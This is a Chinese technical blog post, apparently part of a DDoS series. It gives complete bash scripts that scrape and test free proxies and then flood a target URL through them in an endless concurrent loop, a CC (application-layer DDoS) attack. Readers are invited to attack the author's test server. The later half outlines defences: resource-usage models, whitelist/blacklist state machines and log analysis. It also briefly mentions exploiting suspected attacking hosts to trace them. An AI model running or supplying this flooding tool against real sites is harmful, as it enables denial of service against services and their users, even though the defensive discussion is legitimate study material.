故上兵伐謀 其次伐交 其次伐兵 其下攻城 攻城之法 為不得已
知己知彼 百戰(zhàn)不殆 不知彼而知己 一勝一負(fù) 不知彼不知己 每戰(zhàn)必敗
——孫子兵法·謀攻
我們將要實(shí)現(xiàn)一個進(jìn)行應(yīng)用層DDoS攻擊的工具,綜合考慮,CC攻擊方式是最佳選擇,并用bash shell腳本來快速實(shí)現(xiàn)并驗證這一工具,并在最后,討論如何防御來自應(yīng)用層的DDoS攻擊。
第一步:獲取大量可用代理ip:port列表
網(wǎng)上所處可見免費(fèi)代理,我們使用http的GET方法抓取html文檔,接著使用正則過濾出我們需要的ip port對,然后逐一驗證各代理的可用性,最終得到可用的代理ip port對。
1 grab_PRoxy.sh
1 #!/bin/bash 2 3 #get proxy list 4 declare proxyListFile="proxy.txt" 5 declare tmpFile=`mktemp` 6 declare url 7 declare line 8 declare times 9 declare ip10 declare port11 declare i12 declare j13 declare mod14 15 function quit() {16 rm -f $tmpFile17 exit "$1"18 }19 20 echo "get proxy list... please wait..."21 22 if [ -r "$proxyListFile" ]23 then24 rm -f $proxyListFile25 fi26 27 touch $proxyListFile28 29 for url in " http://www.youdaili.cn/Daili/guonei/2215.html " /30 " http://www.youdaili.cn/Daili/guonei/2215_2.html" /31 " http://www.youdaili.cn/Daili/guonei/2215_3.html" /32 " http://www.youdaili.cn/Daili/guonei/2215_4.html "33 do34 if GET "$url" > $tmpFile35 then36 grep -oE '^.*<br />.*$' "$tmpFile" | grep -Eo "([0-9]+)(/.[0-9]+){3}:([0-9]+)" /37 | sort -n | uniq | awk -F: '{ printf("%-15s %s /n",$1,$2); }' >> $proxyListFile38 else39 exec 1>&240 echo "error: get proxy list fail! chech the url:$url or the network"41 quit 142 fi43 done44 45 echo "done. total `cat $proxyListFile | wc -l` proxy"46 47 quit 048 #exitView Code
參數(shù):
declare proxyListFile="proxy.txt" #抓取到的代理ip port對所存放的文件路徑
1 check_proxy.sh
1 #!/bin/bash 2 3 #get proxy list 4 declare check_threads=10 5 declare line 6 declare times 7 declare ip 8 declare port 9 declare i10 declare j11 declare mod12 13 function quit() {14 exit "$1"15 }16 17 #echo "start check proxy's functionality..."18 19 #retarget the input file to stdin20 if [ "$#" -gt "0" ]21 then22 exec 0<$123 else24 exec 1>&225 echo "usage: bash $0 proxyListFile.txt"26 echo "error: must have one input arg"27 quit 128 fi29 30 #check proxy's functionality31 times=032 while read line33 do34 times=$((times+1))35 j=036 for i in `echo $line | tr ' ' '/n' | grep -E '^[^/s].*$'`37 do38 j=$((j+1))39 if [ "$j" -eq 1 ]40 then41 ip=$i42 else43 port=$i44 fi45 done46 #echo "times=$times ip=$ip port=$port"47 # start test48 if GET -t 5 -p "http://$ip:$port" "http://baidu.com" &>/dev/null49 then 50 echo "$ip $port"51 echo ":) ip=$ip port=$port " &>/dev/null52 else53 echo "invalid ip=$ip port=$port : please check ip:host or network" &>/proc/self/fd/254 fi &55 mod=$((times%check_threads))56 if [ "$mod" -eq "0" ]57 then58 wait59 fi60 done61 62 #close the fd of input file63 exec 0>&-64 quit 065 #exitView Code
參數(shù):
declare check_threads=10 #驗證代理可用性時的并發(fā)數(shù),看一下代碼就會發(fā)現(xiàn),我們使用的是GEThttp://baidu.com方法,所以,并發(fā)數(shù)請不要也太高 :) 除非你的目標(biāo)就是......
總結(jié):應(yīng)征入伍的士兵共計600人,經(jīng)過考核的共計449人,如果你還想招募更多的士兵,奉勸一句,苦海無邊,回頭是岸。第二步:吹響戰(zhàn)爭號角
筆者在一臺VPS上建立了一個薄弱的靶機(jī),各位讀者請不要太暴力,測試一下就可以了,地址http://eecs.cc:8080/
筆者把這么重要的信息都放出來了,讀者請點(diǎn)個贊吧 :)
1 cc.sh
1 #!/bin/bash 2 3 declare target_url="http://eecs.cc:8080/" 4 declare get_timeout_sec=5 5 declare line 6 declare times 7 declare ip 8 declare port 9 declare i10 declare j11 12 function quit() {13 exit "$1"14 }15 16 #retarget the input file to stdin17 if ! [ "$#" -gt "0" ]18 then19 exec 1>&220 echo "challenge collapsar attack -- cc attack"21 echo "usage: bash $0 proxyListFile.txt"22 echo "error: must have one input arg"23 quit 124 fi25 26 echo "report : total `cat $1 | wc -l` proxy-soldiers are ready for command"27 echo "command: target: $target_url"28 echo "command: start challenge collapsar attack :) amazing..."29 30 exec 0<$131 #start challenge collapsar attack32 33 while true34 do35 times=036 exec 0<&-37 exec 0<$138 while read line39 do40 times=$((times+1))41 j=042 for i in `echo $line | tr ' ' '/n' | grep -E '^[^/s].*$'`43 do44 j=$((j+1))45 if [ "$j" -eq 1 ]46 then47 ip=$i48 else49 port=$i50 fi51 done52 echo "times=$times ip=$ip port=$port"53 #single soldier attack54 if GET -t "$get_timeout_sec" -p "http://$ip:$port" "$target_url" &>/dev/null 55 then 56 echo "soldier$times attack $target_url :)"57 else58 echo "soldier$times attack $target_url miss"59 fi &60 done61 wait62 done63 64 #close the fd of input file65 exec 0>&-66 quit 067 #exitView Code
讀者可自行嘗試攻擊這個站點(diǎn),然后使用瀏覽器訪問查看服務(wù)器網(wǎng)絡(luò)狀況,此時大量連接處于TIME_WAIT狀態(tài),參考TCP狀態(tài)機(jī),這一狀態(tài)為主動關(guān)閉一方的最終等待狀態(tài)。
請不要惡意攻擊別人的網(wǎng)站 如果因此被關(guān)了進(jìn)去 沒有人能把你弄出來
應(yīng)用層DDoS的防御理論:
問題模型描述:
每一個頁面,都有其資源消耗權(quán)重,靜態(tài)資源,權(quán)重較低,動態(tài)資源,權(quán)重較高。對于用戶訪問,有如下:
用戶資源使用頻率=使用的服務(wù)器總資源量/s
命題一:對于正常訪問的用戶,資源使用頻率必定位于一個合理的范圍,當(dāng)然會存在大量正常用戶共享ip的情況,這就需要日常用戶訪問統(tǒng)計,以得到忠實(shí)用戶ip白名單。
命題二:資源使用頻率持續(xù)異常的,可斷定為訪問異常的用戶。
防御體系狀態(tài)機(jī):
1.在系統(tǒng)各項資源非常寬裕時,向所有ip提供服務(wù),每隔一段時間釋放一部分臨時黑名單中的ip成員;
2.在系統(tǒng)資源消耗達(dá)到某一閾值時,降低Syn包接受速率,循環(huán):分析最近時間的日志,并將訪問異常的ip加入臨時黑名單;
3.若系統(tǒng)資源消耗慢慢回降至正常水平,則恢復(fù)Syn包接受速率,轉(zhuǎn)到狀態(tài)1;若目前策略并未有效地控制住系統(tǒng)資源消耗的增長,情況繼續(xù)惡劣至一極限閾值,轉(zhuǎn)到狀態(tài)4;
4.最終防御方案,使用忠實(shí)用戶ip白名單、異常訪問ip黑名單策略,其他訪問可慢慢放入,直到系統(tǒng)資源消耗回降至正常水平,轉(zhuǎn)到狀態(tài)1。
上述的防御狀態(tài)機(jī),對于單個攻擊IP高并發(fā)的DDOS,變化到狀態(tài)3時,效果就完全體現(xiàn)出來了,但如果防御狀態(tài)機(jī)進(jìn)行到4狀態(tài),則有如下兩種可能:
1.站點(diǎn)遭到了攻擊群龐大的、單個IP低并發(fā)的DDOS攻擊;
2.站點(diǎn)突然間有了很多訪問正常的新用戶。
建議后續(xù)工作:
保守:站點(diǎn)應(yīng)盡快進(jìn)行服務(wù)能力升級。
積極:盡所能,追溯攻擊者。
追溯攻擊者: CC:proxy-forward-from-ip 單個IP高并發(fā)的DDOS:找到訪問異常的、高度可疑的ip列表,exploit,搜集、分析數(shù)據(jù),因為一個傀儡主機(jī)可被二次攻占的概率很大(但不建議這種方法) 單個IP低并發(fā)的DDOS:以前極少訪問被攻擊站點(diǎn),但是在攻擊發(fā)生時,卻頻繁訪問我們的站點(diǎn),分析日志得到這一部分ip列表 追溯攻擊者的過程中,snat與web proxy增加了追蹤的難度,如果攻擊者采用多個中繼服務(wù)器的方法,追溯將變得極為困難。
防御者:
1.應(yīng)對當(dāng)前系統(tǒng)了如指掌,如系統(tǒng)最高負(fù)載、最高數(shù)據(jù)處理能力,以及系統(tǒng)防御體系的強(qiáng)項與弱點(diǎn) 2.歷史日志的保存、分析 3.對當(dāng)前系統(tǒng)進(jìn)行嚴(yán)格安全審計 4.上報公安相關(guān)部分,努力追溯攻擊者 5.網(wǎng)站,能靜態(tài),就一定不要動態(tài),可采取定時從主數(shù)據(jù)庫生成靜態(tài)頁面的方式,對需要訪問主數(shù)據(jù)庫的服務(wù)使用驗證機(jī)制
6.防御者應(yīng)能從全局的角度,迅速及時地發(fā)現(xiàn)系統(tǒng)正在處于什么程度的攻擊、何種攻擊,在平時,應(yīng)該建立起攻擊應(yīng)急策略,規(guī)范化操作,免得在急中犯下低級錯誤
對歷史日志的分析這時將會非常重要,數(shù)據(jù)可視化與統(tǒng)計學(xué)的方法將會很有益處:
1.分析每個頁面的平均訪問頻率
2.對訪問頻率異常的頁面進(jìn)行詳細(xì)分析 分析得到ip-頁面訪問頻率
3.得到對訪問異常頁面的訪問異常ip列表
4.對日志分析得到忠實(shí)用戶IP白名單
5.一般一個頁面會關(guān)聯(lián)多個資源,一次對于這樣的頁面訪問往往會同時增加多個資源的訪問數(shù),而攻擊程序一般不會加載這些它不感興趣的資源,所以,這也是一個非常好的分析突破點(diǎn)
本文主要講述了DDoS攻擊之一的CC攻擊工具實(shí)現(xiàn),以及如何防御來自應(yīng)用層的DDoS攻擊的理論總結(jié)。接下來的文章,筆者將會實(shí)現(xiàn)一個工作于內(nèi)核態(tài)的、具有黑名單功能的防火墻模塊,以對應(yīng)于上述防御狀態(tài)機(jī)中的防火墻單元,它實(shí)現(xiàn)了自主地動態(tài)內(nèi)存管理,使用hash表管理ip列表,并可以自定義hash表的modular。
如有問題或者建議,歡迎留言討論:)
附錄:
《DDoS攻防戰(zhàn) (一) : 概述》
新聞熱點(diǎn)
疑難解答
圖片精選